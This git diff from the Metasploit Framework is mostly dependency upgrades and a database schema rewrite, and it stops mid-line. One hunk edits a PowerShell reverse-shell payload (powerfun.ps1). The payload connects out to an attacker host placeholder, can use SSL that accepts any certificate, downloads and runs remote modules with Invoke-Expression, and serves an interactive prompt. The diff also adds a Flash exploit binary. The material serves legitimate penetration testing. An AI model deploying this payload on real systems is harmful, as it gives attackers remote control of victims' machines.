diff --git a/.gitignore b/.gitignore index 1619d775e4..2151978a0c 100644 --- a/.gitignore +++ b/.gitignore @@ -66,8 +66,10 @@ external/source/exploits/**/Debug external/source/exploits/**/Release # Avoid checking in Meterpreter binaries. These are supplied upstream by -# the meterpreter_bins gem. +# the metasploit-payloads gem. data/meterpreter/*.dll +data/meterpreter/*.bin +data/meterpreter/*.lso # Avoid checking in Meterpreter libs that are built from # private source. If you're interested in this functionality, diff --git a/.ruby-version b/.ruby-version index cd57a8b95d..399088bf46 100644 --- a/.ruby-version +++ b/.ruby-version @@ -1 +1 @@ -2.1.5 +2.1.6 diff --git a/.travis.yml b/.travis.yml index 3306ddfe5f..2f6072ffd2 100644 --- a/.travis.yml +++ b/.travis.yml @@ -25,7 +25,7 @@ script: - git diff --exit-code && bundle exec rake $RAKE_TASKS sudo: false rvm: - - '2.1' + - '2.1.6' notifications: irc: "irc.freenode.org#msfnotify" @@ -40,4 +40,4 @@ branches: - metakitty addons: - postgresql: '9.3' \ No newline at end of file + postgresql: '9.3' diff --git a/Gemfile b/Gemfile index 2ce6643e21..225cadb5e1 100755 --- a/Gemfile +++ b/Gemfile @@ -8,7 +8,7 @@ group :coverage do # code coverage for tests # any version newer than 0.5.4 gives an Encoding error when trying to read the source files. # see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0) - gem 'simplecov', '0.5.4', :require => false + gem 'simplecov' end group :db do @@ -25,12 +25,8 @@ group :development do end group :development, :test do - # supplies factories for producing model instance for specs - # Version 4.1.0 or newer is needed to support generate calls without the - # 'FactoryGirl.' in factory definitions syntax. - gem 'factory_girl', '>= 4.1.0' # automatically include factories from spec/factories - gem 'factory_girl_rails' + gem 'factory_girl_rails', '~> 4.5.0' # Make rspec output shorter and more useful gem 'fivemat', '1.2.1' # running documentation generation tasks and rspec tasks diff --git a/Gemfile.lock b/Gemfile.lock index 4fd9fb1e5d..88322f33b0 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -2,14 +2,14 @@ PATH remote: . specs: metasploit-framework (4.11.0.pre.dev) - actionpack (>= 3.2.21, < 4.0.0) - activesupport (>= 3.2.21, < 4.0.0) + actionpack (>= 4.0.9, < 4.1.0) + activesupport (>= 4.0.9, < 4.1.0) bcrypt jsobfu (~> 0.2.0) json - metasploit-concern (= 0.4.0) - metasploit-model (~> 0.29.0) - metasploit-payloads (= 0.0.3) + metasploit-concern (~> 1.0) + metasploit-model (~> 1.0) + metasploit-payloads (= 0.0.5) msgpack nokogiri packetfu (= 1.1.9) @@ -21,10 +21,10 @@ PATH sqlite3 tzinfo metasploit-framework-db (4.11.0.pre.dev) - activerecord (>= 3.2.21, < 4.0.0) - metasploit-credential (= 0.14.5) + activerecord (>= 4.0.9, < 4.1.0) + metasploit-credential (~> 1.0) metasploit-framework (= 4.11.0.pre.dev) - metasploit_data_models (= 0.24.0) + metasploit_data_models (~> 1.0) pg (>= 0.11) metasploit-framework-pcap (4.11.0.pre.dev) metasploit-framework (= 4.11.0.pre.dev) @@ -34,148 +34,147 @@ PATH GEM remote: https://rubygems.org/ specs: - actionmailer (3.2.21) - actionpack (= 3.2.21) - mail (~> 2.5.4) - actionpack (3.2.21) - activemodel (= 3.2.21) - activesupport (= 3.2.21) - builder (~> 3.0.0) + actionmailer (4.0.13) + actionpack (= 4.0.13) + mail (~> 2.5, >= 2.5.4) + actionpack (4.0.13) + activesupport (= 4.0.13) + builder (~> 3.1.0) erubis (~> 2.7.0) - journey (~> 1.0.4) - rack (~> 1.4.5) - rack-cache (~> 1.2) - rack-test (~> 0.6.1) - sprockets (~> 2.2.1) - activemodel (3.2.21) - activesupport (= 3.2.21) - builder (~> 3.0.0) - activerecord (3.2.21) - activemodel (= 3.2.21) - activesupport (= 3.2.21) - arel (~> 3.0.2) - tzinfo (~> 0.3.29) - activeresource (3.2.21) - activemodel (= 3.2.21) - activesupport (= 3.2.21) - activesupport (3.2.21) - i18n (~> 0.6, >= 0.6.4) - multi_json (~> 1.0) - arel (3.0.3) + rack (~> 1.5.2) + rack-test (~> 0.6.2) + activemodel (4.0.13) + activesupport (= 4.0.13) + builder (~> 3.1.0) + activerecord (4.0.13) + activemodel (= 4.0.13) + activerecord-deprecated_finders (~> 1.0.2) + activesupport (= 4.0.13) + arel (~> 4.0.0) + activerecord-deprecated_finders (1.0.4) + activesupport (4.0.13) + i18n (~> 0.6, >= 0.6.9) + minitest (~> 4.2) + multi_json (~> 1.3) + thread_safe (~> 0.1) + tzinfo (~> 0.3.37) + arel (4.0.2) arel-helpers (2.1.0) activerecord (>= 3.1.0, < 5) - aruba (0.6.1) + aruba (0.6.2) childprocess (>= 0.3.6) cucumber (>= 1.1.1) rspec-expectations (>= 2.7.0) bcrypt (3.1.10) - builder (3.0.4) - capybara (2.4.1) + builder (3.1.4) + capybara (2.4.4) mime-types (>= 1.16) nokogiri (>= 1.3.3) rack (>= 1.0.0) rack-test (>= 0.5.4) xpath (~> 2.0) - childprocess (0.5.3) + childprocess (0.5.5) ffi (~> 1.0, >= 1.0.11) coderay (1.1.0) - cucumber (1.2.1) + cucumber (1.3.19) builder (>= 2.1.2) diff-lcs (>= 1.1.3) - gherkin (~> 2.11.0) - json (>= 1.4.6) - cucumber-rails (1.4.0) - capybara (>= 1.1.2) - cucumber (>= 1.2.0) - nokogiri (>= 1.5.0) - rails (>= 3.0.0) + gherkin (~> 2.12) + multi_json (>= 1.7.5, < 2.0) + multi_test (>= 0.1.2) + cucumber-rails (1.4.2) + capybara (>= 1.1.2, < 3) + cucumber (>= 1.3.8, < 2) + mime-types (>= 1.16, < 3) + nokogiri (~> 1.5) + rails (>= 3, < 5) diff-lcs (1.2.5) + docile (1.1.5) erubis (2.7.0) - factory_girl (4.4.0) + factory_girl (4.5.0) activesupport (>= 3.0.0) - factory_girl_rails (4.4.1) - factory_girl (~> 4.4.0) + factory_girl_rails (4.5.0) + factory_girl (~> 4.5.0) railties (>= 3.0.0) - ffi (1.9.3) + ffi (1.9.8) fivemat (1.2.1) - gherkin (2.11.6) - json (>= 1.7.6) + gherkin (2.12.2) + multi_json (~> 1.3) hike (1.2.3) i18n (0.7.0) - journey (1.0.4) jsobfu (0.2.1) rkelly-remix (= 0.0.6) json (1.8.2) - mail (2.5.4) - mime-types (~> 1.16) - treetop (~> 1.4.8) - metasploit-concern (0.4.0) - activesupport (~> 3.0, >= 3.0.0) - railties (< 4.0.0) - metasploit-credential (0.14.5) - metasploit-concern (= 0.4.0) - metasploit-model (~> 0.29.0) - metasploit_data_models (= 0.24.0) + mail (2.6.3) + mime-types (>= 1.16, < 3) + metasploit-concern (1.0.0) + activerecord (>= 4.0.9, < 4.1.0) + activesupport (>= 4.0.9, < 4.1.0) + railties (>= 4.0.9, < 4.1.0) + metasploit-credential (1.0.0) + metasploit-concern (~> 1.0) + metasploit-model (~> 1.0) + metasploit_data_models (~> 1.0) pg - railties (< 4.0.0) + railties rubyntlm rubyzip (~> 1.1) - metasploit-model (0.29.2) - activesupport - railties (< 4.0.0) - metasploit-payloads (0.0.3) - metasploit_data_models (0.24.0) - activerecord (>= 3.2.13, < 4.0.0) - activesupport + metasploit-model (1.0.0) + activemodel (>= 4.0.9, < 4.1.0) + activesupport (>= 4.0.9, < 4.1.0) + railties (>= 4.0.9, < 4.1.0) + metasploit-payloads (0.0.5) + metasploit_data_models (1.0.1) + activerecord (>= 4.0.9, < 4.1.0) + activesupport (>= 4.0.9, < 4.1.0) arel-helpers - metasploit-concern (= 0.4.0) - metasploit-model (~> 0.29.0) + metasploit-concern (~> 1.0) + metasploit-model (~> 1.0) pg - railties (< 4.0.0) + postgres_ext + railties (>= 4.0.9, < 4.1.0) recog (~> 1.0) method_source (0.8.2) - mime-types (1.25.1) + mime-types (2.4.3) mini_portile (0.6.2) + minitest (4.7.5) msgpack (0.5.11) - multi_json (1.0.4) + multi_json (1.11.0) + multi_test (0.1.2) network_interface (0.0.1) nokogiri (1.6.6.2) mini_portile (~> 0.6.0) packetfu (1.1.9) - pcaprub (0.11.3) + pcaprub (0.12.0) pg (0.18.1) - polyglot (0.3.5) - pry (0.10.0) + pg_array_parser (0.0.9) + postgres_ext (2.4.1) + activerecord (>= 4.0.0) + arel (>= 4.0.1) + pg_array_parser (~> 0.0.9) + pry (0.10.1) coderay (~> 1.1.0) method_source (~> 0.8.1) slop (~> 3.4) - rack (1.4.5) - rack-cache (1.2) - rack (>= 0.4) - rack-ssl (1.3.4) - rack + rack (1.5.2) rack-test (0.6.3) rack (>= 1.0) - rails (3.2.21) - actionmailer (= 3.2.21) - actionpack (= 3.2.21) - activerecord (= 3.2.21) - activeresource (= 3.2.21) - activesupport (= 3.2.21) - bundler (~> 1.0) - railties (= 3.2.21) - railties (3.2.21) - actionpack (= 3.2.21) - activesupport (= 3.2.21) - rack-ssl (~> 1.3.2) + rails (4.0.13) + actionmailer (= 4.0.13) + actionpack (= 4.0.13) + activerecord (= 4.0.13) + activesupport (= 4.0.13) + bundler (>= 1.3.0, < 2.0) + railties (= 4.0.13) + sprockets-rails (~> 2.0) + railties (4.0.13) + actionpack (= 4.0.13) + activesupport (= 4.0.13) rake (>= 0.8.7) - rdoc (~> 3.4) - thor (>= 0.14.6, < 2.0) + thor (>= 0.18.1, < 2.0) rake (10.4.2) rb-readline-r7 (0.5.2.0) - rdoc (3.12.2) - json (~> 1.4) - recog (1.0.27) + recog (1.0.29) nokogiri redcarpet (3.2.3) rkelly-remix (0.0.6) @@ -184,12 +183,12 @@ GEM rspec-core (~> 2.99.0) rspec-expectations (~> 2.99.0) rspec-mocks (~> 2.99.0) - rspec-collection_matchers (1.0.0) + rspec-collection_matchers (1.1.2) rspec-expectations (>= 2.99.0.beta1) - rspec-core (2.99.1) + rspec-core (2.99.2) rspec-expectations (2.99.2) diff-lcs (>= 1.1.3, < 2.0) - rspec-mocks (2.99.2) + rspec-mocks (2.99.3) rspec-rails (2.99.0) actionpack (>= 3.0) activemodel (>= 3.0) @@ -201,28 +200,32 @@ GEM rspec-mocks (~> 2.99.0) rubyntlm (0.5.0) rubyzip (1.1.7) - shoulda-matchers (2.6.2) - simplecov (0.5.4) - multi_json (~> 1.0.3) - simplecov-html (~> 0.5.3) - simplecov-html (0.5.3) + shoulda-matchers (2.8.0) + activesupport (>= 3.0.0) + simplecov (0.9.2) + docile (~> 1.1.0) + multi_json (~> 1.0) + simplecov-html (~> 0.9.0) + simplecov-html (0.9.0) slop (3.6.0) - sprockets (2.2.3) + sprockets (2.12.3) hike (~> 1.2) multi_json (~> 1.0) rack (~> 1.0) tilt (~> 1.1, != 1.3.0) + sprockets-rails (2.2.4) + actionpack (>= 3.0) + activesupport (>= 3.0) + sprockets (>= 2.8, < 4.0) sqlite3 (1.3.10) thor (0.19.1) + thread_safe (0.3.5) tilt (1.4.1) - timecop (0.7.1) - treetop (1.4.15) - polyglot - polyglot (>= 0.3.1) + timecop (0.7.3) tzinfo (0.3.43) xpath (2.0.0) nokogiri (~> 1.3) - yard (0.8.7.4) + yard (0.8.7.6) PLATFORMS ruby @@ -230,8 +233,7 @@ PLATFORMS DEPENDENCIES aruba cucumber-rails - factory_girl (>= 4.1.0) - factory_girl_rails + factory_girl_rails (~> 4.5.0) fivemat (= 1.2.1) metasploit-framework! metasploit-framework-db! @@ -242,6 +244,6 @@ DEPENDENCIES rspec (>= 2.12, < 3.0.0) rspec-rails (>= 2.12, < 3.0.0) shoulda-matchers - simplecov (= 0.5.4) + simplecov timecop yard diff --git a/config/application.rb b/config/application.rb index 47b5195903..4cbd4c94af 100644 --- a/config/application.rb +++ b/config/application.rb @@ -20,6 +20,7 @@ Bundler.require( # # For compatibility with jquery-rails (and other engines that need action_view) in pro +require 'action_controller/railtie' require 'action_view/railtie' # @@ -36,6 +37,15 @@ module Metasploit config.paths['log'] = "#{Msf::Config.log_directory}/#{Rails.env}.log" config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)] + + case Rails.env + when "development" + config.eager_load = false + when "test" + config.eager_load = false + when "production" + config.eager_load = true + end end end end diff --git a/data/exploits/CVE-2015-0359/msf.swf b/data/exploits/CVE-2015-0359/msf.swf new file mode 100755 index 0000000000..4befa69648 Binary files /dev/null and b/data/exploits/CVE-2015-0359/msf.swf differ diff --git a/data/exploits/powershell/powerfun.ps1 b/data/exploits/powershell/powerfun.ps1 index 6cfb7c66fb..b6fd7bfda3 100644 --- a/data/exploits/powershell/powerfun.ps1 +++ b/data/exploits/powershell/powerfun.ps1 @@ -10,8 +10,9 @@ function Get-Webclient function powerfun { Param( - [String]$Command, - [String]$Download + [String]$Command, + [String]$Sslcon, + [String]$Download ) Process { $modules = @(MODULES_REPLACE) @@ -25,19 +26,33 @@ function powerfun { $client = New-Object System.Net.Sockets.TCPClient("LHOST_REPLACE",LPORT_REPLACE) } + $stream = $client.GetStream() + + if ($Sslcon -eq "true") + { + $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback])) + $sslStream.AuthenticateAsClient("LHOST_REPLACE") + $stream = $sslStream + } + [byte[]]$bytes = 0..255|%{0} + $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") + $stream.Write($sendbytes,0,$sendbytes.Length) + if ($Download -eq "true") { + $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n") + $stream.Write($sendbytes,0,$sendbytes.Length) ForEach ($module in $modules) { (Get-Webclient).DownloadString($module)|Invoke-Expression - } + } } - $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") - $stream.Write($sendbytes,0,$sendbytes.Length) + $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') $stream.Write($sendbytes,0,$sendbytes.Length) + while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding diff --git a/data/java/com/metasploit/meterpreter/MemoryBufferURLConnection.class b/data/java/com/metasploit/meterpreter/MemoryBufferURLConnection.class deleted file mode 100755 index 47a3eb1368..0000000000 Binary files a/data/java/com/metasploit/meterpreter/MemoryBufferURLConnection.class and /dev/null differ diff --git a/data/java/com/metasploit/meterpreter/MemoryBufferURLStreamHandler.class b/data/java/com/metasploit/meterpreter/MemoryBufferURLStreamHandler.class deleted file mode 100755 index dbe896602f..0000000000 Binary files a/data/java/com/metasploit/meterpreter/MemoryBufferURLStreamHandler.class and /dev/null differ diff --git a/data/java/javapayload/stage/Meterpreter.class b/data/java/javapayload/stage/Meterpreter.class deleted file mode 100755 index 4e2e9fc899..0000000000 Binary files a/data/java/javapayload/stage/Meterpreter.class and /dev/null differ diff --git a/data/java/javapayload/stage/Shell.class b/data/java/javapayload/stage/Shell.class deleted file mode 100755 index e7e293d5f3..0000000000 Binary files a/data/java/javapayload/stage/Shell.class and /dev/null differ diff --git a/data/java/javapayload/stage/Stage.class b/data/java/javapayload/stage/Stage.class deleted file mode 100755 index ac5627e35c..0000000000 Binary files a/data/java/javapayload/stage/Stage.class and /dev/null differ diff --git a/data/java/javapayload/stage/StreamForwarder.class b/data/java/javapayload/stage/StreamForwarder.class deleted file mode 100755 index cabe1021af..0000000000 Binary files a/data/java/javapayload/stage/StreamForwarder.class and /dev/null differ diff --git a/data/java/metasploit/AESEncryption.class b/data/java/metasploit/AESEncryption.class deleted file mode 100755 index 11e0a959a1..0000000000 Binary files a/data/java/metasploit/AESEncryption.class and /dev/null differ diff --git a/data/java/metasploit/JMXPayload.class b/data/java/metasploit/JMXPayload.class deleted file mode 100644 index 4085175436..0000000000 Binary files a/data/java/metasploit/JMXPayload.class and /dev/null differ diff --git a/data/java/metasploit/JMXPayloadMBean.class b/data/java/metasploit/JMXPayloadMBean.class deleted file mode 100644 index 1aa20d9df8..0000000000 Binary files a/data/java/metasploit/JMXPayloadMBean.class and /dev/null differ diff --git a/data/java/metasploit/Payload.class b/data/java/metasploit/Payload.class deleted file mode 100755 index 6e83e9be30..0000000000 Binary files a/data/java/metasploit/Payload.class and /dev/null differ diff --git a/data/java/metasploit/PayloadServlet.class b/data/java/metasploit/PayloadServlet.class deleted file mode 100755 index 00e4e00e0d..0000000000 Binary files a/data/java/metasploit/PayloadServlet.class and /dev/null differ diff --git a/data/java/metasploit/PayloadTrustManager.class b/data/java/metasploit/PayloadTrustManager.class deleted file mode 100755 index 66b7dfd6da..0000000000 Binary files a/data/java/metasploit/PayloadTrustManager.class and /dev/null differ diff --git a/data/java/metasploit/RMILoader.class b/data/java/metasploit/RMILoader.class deleted file mode 100755 index 0c481c5a29..0000000000 Binary files a/data/java/metasploit/RMILoader.class and /dev/null differ diff --git a/data/java/metasploit/RMIPayload.class b/data/java/metasploit/RMIPayload.class deleted file mode 100755 index e3c8eb692a..0000000000 Binary files a/data/java/metasploit/RMIPayload.class and /dev/null differ diff --git a/data/meterpreter/ext_server_android.jar b/data/meterpreter/ext_server_android.jar deleted file mode 100644 index b6a01cac09..0000000000 Binary files a/data/meterpreter/ext_server_android.jar and /dev/null differ diff --git a/data/meterpreter/ext_server_stdapi.jar b/data/meterpreter/ext_server_stdapi.jar deleted file mode 100644 index ccefb121cf..0000000000 Binary files a/data/meterpreter/ext_server_stdapi.jar and /dev/null differ diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 2c7ee57559..48b4de307a 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -990,9 +990,11 @@ def stdapi_fs_getwd(request, response): def stdapi_fs_ls(request, response): path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value'] path = os.path.abspath(unicode(path)) - dir_contents = os.listdir(path) - dir_contents.sort() - for file_name in dir_contents: + glob = '*' + if any((c in ['*','[','?']) for c in path): + glob = os.path.basename(path) + path = os.path.dirname(path) + for file_name in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(path)): file_path = os.path.join(path, file_name) response += tlv_pack(TLV_TYPE_FILE_NAME, file_name) response += tlv_pack(TLV_TYPE_FILE_PATH, file_path) diff --git a/data/meterpreter/meterpreter.jar b/data/meterpreter/meterpreter.jar deleted file mode 100644 index 65679d7ba9..0000000000 Binary files a/data/meterpreter/meterpreter.jar and /dev/null differ diff --git a/db/schema.rb b/db/schema.rb index 5d9c171619..7d9e8d02b7 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -9,97 +9,100 @@ # from scratch. The latter is a flawed and unsustainable approach (the more migrations # you'll amass, the slower it'll run and the greater likelihood for issues). # -# It's strongly recommended to check this file into your version control system. +# It's strongly recommended that you check this file into your version control system. -ActiveRecord::Schema.define(:version => 20150326183742) do +ActiveRecord::Schema.define(version: 20150421211719) do - create_table "api_keys", :force => true do |t| + # These are extensions that must be enabled in order to support this database + enable_extension "plpgsql" + + create_table "api_keys", force: true do |t| t.text "token" - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false end - create_table "automatic_exploitation_match_results", :force => true do |t| + create_table "automatic_exploitation_match_results", force: true do |t| t.integer "match_id" t.integer "run_id" - t.string "state", :null => false - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + t.string "state", null: false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false end - add_index "automatic_exploitation_match_results", ["match_id"], :name => "index_automatic_exploitation_match_results_on_match_id" - add_index "automatic_exploitation_match_results", ["run_id"], :name => "index_automatic_exploitation_match_results_on_run_id" + add_index "automatic_exploitation_match_results", ["match_id"], name: "index_automatic_exploitation_match_results_on_match_id", using: :btree + add_index "automatic_exploitation_match_results", ["run_id"], name: "index_automatic_exploitation_match_results_on_run_id", using: :btree - create_table "automatic_exploitation_match_sets", :force => true do |t| + create_table "automatic_exploitation_match_sets", force: true do |t| t.integer "workspace_id" t.integer "user_id" - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false end - add_index "automatic_exploitation_match_sets", ["user_id"], :name => "index_automatic_exploitation_match_sets_on_user_id" - add_index "automatic_exploitation_match_sets", ["workspace_id"], :name => "index_automatic_exploitation_match_sets_on_workspace_id" + add_index "automatic_exploitation_match_sets", ["user_id"], name: "index_automatic_exploitation_match_sets_on_user_id", using: :btree + add_index "automatic_exploitation_match_sets", ["workspace_id"], name: "index_automatic_exploitation_match_sets_on_workspace_id", using: :btree - create_table "automatic_exploitation_matches", :force => true do |t| + create_table "automatic_exploitation_matches", force: true do |t| t.integer "module_detail_id" t.string "state" t.integer "nexpose_data_vulnerability_definition_id" - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false t.integer "match_set_id" t.string "matchable_type" t.integer "matchable_id" t.text "module_fullname" end - add_index "automatic_exploitation_matches", ["module_detail_id"], :name => "index_automatic_exploitation_matches_on_ref_id" - add_index "automatic_exploitation_matches", ["module_fullname"], :name => "index_automatic_exploitation_matches_on_module_fullname" + add_index "automatic_exploitation_matches", ["module_detail_id"], name: "index_automatic_exploitation_matches_on_module_detail_id", using: :btree + add_index "automatic_exploitation_matches", ["module_fullname"], name: "index_automatic_exploitation_matches_on_module_fullname", using: :btree - create_table "automatic_exploitation_runs", :force => true do |t| + create_table "automatic_exploitation_runs", force: true do |t| t.integer "workspace_id" t.integer "user_id" t.integer "match_set_id" - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false end - add_index "automatic_exploitation_runs", ["match_set_id"], :name => "index_automatic_exploitation_runs_on_match_set_id" - add_index "automatic_exploitation_runs", ["user_id"], :name => "index_automatic_exploitation_runs_on_user_id" - add_index "automatic_exploitation_runs", ["workspace_id"], :name => "index_automatic_exploitation_runs_on_workspace_id" + add_index "automatic_exploitation_runs", ["match_set_id"], name: "index_automatic_exploitation_runs_on_match_set_id", using: :btree + add_index "automatic_exploitation_runs", ["user_id"], name: "index_automatic_exploitation_runs_on_user_id", using: :btree + add_index "automatic_exploitation_runs", ["workspace_id"], name: "index_automatic_exploitation_runs_on_workspace_id", using: :btree - create_table "clients", :force => true do |t| + create_table "clients", force: true do |t| t.integer "host_id" t.datetime "created_at" - t.string "ua_string", :limit => 1024, :null => false - t.string "ua_name", :limit => 64 - t.string "ua_ver", :limit => 32 + t.string "ua_string", limit: 1024, null: false + t.string "ua_name", limit: 64 + t.string "ua_ver", limit: 32 t.datetime "updated_at" end - create_table "credential_cores_tasks", :id => false, :force => true do |t| + create_table "credential_cores_tasks", id: false, force: true do |t| t.integer "core_id" t.integer "task_id" end - create_table "credential_logins_tasks", :id => false, :force => true do |t| + create_table "credential_logins_tasks", id: false, force: true do |t| t.integer "login_id" t.integer "task_id" end - create_table "creds", :force => true do |t| - t.integer "service_id", :null => false - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false - t.string "user", :limit => 2048 - t.string "pass", :limit => 4096 - t.boolean "active", :default => true - t.string "proof", :limit => 4096 - t.string "ptype", :limit => 256 + create_table "creds", force: true do |t| + t.integer "service_id", null: false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false + t.string "user", limit: 2048 + t.string "pass", limit: 4096 + t.boolean "active", default: true + t.string "proof", limit: 4096 + t.string "ptype", limit: 256 t.integer "source_id" t.string "source_type" end - create_table "events", :force => true do |t| + create_table "events", force: true do |t| t.integer "workspace_id" t.integer "host_id" t.datetime "created_at" @@ -111,7 +114,7 @@ ActiveRecord::Schema.define(:version => 20150326183742) do t.text "info" end - create_table "exploit_attempts", :force => true do |t| + create_table "exploit_attempts", force: true do |t| t.integer "host_id" t.integer "service_id" t.integer "vuln_id" @@ -127,17 +130,17 @@ ActiveRecord::Schema.define(:version => 20150326183742) do t.text "fail_detail" end - create_table "exploited_hosts", :force => true do |t| - t.integer "host_id", :null => false + create_table "exploited_hosts", force: true do |t| + t.integer "host_id", null: false t.integer "service_id" - t.string "session_uuid", :limit => 8 - t.string "name", :limit => 2048 - t.string "payload", :limit => 2048 - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + t.string "session_uuid", limit: 8 + t.string "name", limit: 2048 + t.string "payload", limit: 2048 + t.datetime "created_at", null: false + t.datetime "updated_at", null: false end - create_table "host_details", :force => true do |t| + create_table "host_details", force: true do |t| t.integer "host_id" t.integer "nx_console_id" t.integer "nx_device_id" @@ -148,9 +151,9 @@ ActiveRecord::Schema.define(:version => 20150326183742) do t.float "nx_risk_score" end - create_table "hosts", :force => true do |t| + create_table "hosts", force: true do |t| t.datetime "created_at" - t.string "address", :limit => nil, :null => false + t.inet "address", null: false t.string "mac" t.string "comm" t.string "name" @@ -160,40 +163,40 @@ ActiveRecord::Schema.define(:version => 20150326183742) do t.string "os_sp" t.string "os_lang" t.string "arch" - t.integer "workspace_id", :null => false + t.integer "workspace_id", null: false t.datetime "updated_at" t.text "purpose" - t.string "info", :limit => 65536 + t.string "info", limit: 65536 t.text "comments" t.text "scope" t.text "virtual_host" - t.integer "note_count", :default => 0 - t.integer "vuln_count", :default => 0 - t.integer "service_count", :default => 0 - t.integer "host_detail_count", :default => 0 - t.integer "exploit_attempt_count", :default => 0 - t.integer "cred_count", :default => 0 + t.integer "note_count", default: 0 + t.integer "vuln_count", default: 0 + t.integer "service_count", default: 0 + t.integer "host_detail_count", default: 0 + t.integer "exploit_attempt_count", default: 0 + t.integer "cred_count", default: 0 t.string "detected_arch" end - add_index "hosts", ["name"], :name => "index_hosts_on_name" - add_index "hosts", ["os_flavor"], :name => "index_hosts_on_os_flavor" - add_index "hosts", ["os_name"], :name => "index_hosts_on_os_name" - add_index "hosts", ["purpose"], :name => "index_hosts_on_purpose" - add_index "hosts", ["state"], :name => "index_hosts_on_state" - add_index "hosts", ["workspace_id", "address"], :name => "index_hosts_on_workspace_id_and_address", :unique => true + add_index "hosts", ["name"], name: "index_hosts_on_name", using: :btree + add_index "hosts", ["os_flavor"], name: "index_hosts_on_os_flavor", using: :btree + add_index "hosts", ["os_name"], name: "index_hosts_on_os_name", using: :btree + add_index "hosts", ["purpose"], name: "index_hosts_on_purpose", using: :btree + add_index "hosts", ["state"], name: "index_hosts_on_state", using: :btree + add_index "hosts", ["workspace_id", "address"], name: "index_hosts_on_workspace_id_and_address", unique: true, using: :btree - create_table "hosts_tags", :force => true do |t| + create_table "hosts_tags", force: true do |t| t.integer "host_id" t.integer "tag_id" end - create_table "listeners", :force => true do |t| - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false - t.integer "workspace_id", :default => 1, :null => false + create_table "listeners", force: true do |t| + t.datetime "created_at", null: false + t.datetime "updated_at", null: false + t.integer "workspace_id", default: 1, null: false t.integer "task_id" - t.boolean "enabled", :default => true + t.boolean "enabled", default: true t.text "owner" t.text "payload" t.text "address" @@ -202,26 +205,26 @@ ActiveRecord::Schema.define(:version => 20150326183742) do t.text "macro" end - create_table "loots", :force => true do |t| - t.integer "workspace_id", :default => 1, :null => false + create_table "loots", force: true do |t| + t.integer "workspace_id", default: 1, null: false t.integer "host_id" t.integer "service_id" - t.string "ltype", :limit => 512 - t.string "path", :limit => 1024 + t.string "ltype", limit: 512 + t.string "path", limit: 1024 t.text "data" - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false t.string "content_type" t.text "name" t.text "info" t.integer "module_run_id" end - add_index "loots", ["module_run_id"], :name => "index_loots_on_module_run_id" + add_index "loots", ["module_run_id"], name: "index_loots_on_module_run_id", using: :btree - create_table "macros", :force => true do |t| - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + create_table "macros", force: true do |t| + t.datetime "created_at", null: false + t.datetime "updated_at", null: false t.text "owner" t.text "name" t.text "description" @@ -229,143 +232,143 @@ ActiveRecord::Schema.define(:version => 20150326183742) do t.binary "prefs" end - create_table "metasploit_credential_cores", :force => true do |t| - t.integer "origin_id", :null => false - t.string "origin_type", :null => false + create_table "metasploit_credential_cores", force: true do |t| + t.integer "origin_id", null: false + t.string "origin_type", null: false t.integer "private_id" t.integer "public_id" t.integer "realm_id" - t.integer "workspace_id", :null => false - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false - t.integer "logins_count", :default => 0 + t.integer "workspace_id", null: false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false + t.integer "logins_count", default: 0 end - add_index "metasploit_credential_cores", ["origin_type", "origin_id"], :name => "index_metasploit_credential_cores_on_origin_type_and_origin_id" - add_index "metasploit_credential_cores", ["private_id"], :name => "index_metasploit_credential_cores_on_private_id" - add_index "metasploit_credential_cores", ["public_id"], :name => "index_metasploit_credential_cores_on_public_id" - add_index "metasploit_credential_cores", ["realm_id"], :name => "index_metasploit_credential_cores_on_realm_id" - add_index "metasploit_credential_cores", ["workspace_id", "private_id"], :name => "unique_private_metasploit_credential_cores", :unique => true - add_index "metasploit_credential_cores", ["workspace_id", "public_id", "private_id"], :name => "unique_realmless_metasploit_credential_cores", :unique => true - add_index "metasploit_credential_cores", ["workspace_id", "public_id"], :name => "unique_public_metasploit_credential_cores", :unique => true - add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "private_id"], :name => "unique_publicless_metasploit_credential_cores", :unique => true - add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "public_id", "private_id"], :name => "unique_complete_metasploit_credential_cores", :unique => true - add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "public_id"], :name => "unique_privateless_metasploit_credential_cores", :unique => true - add_index 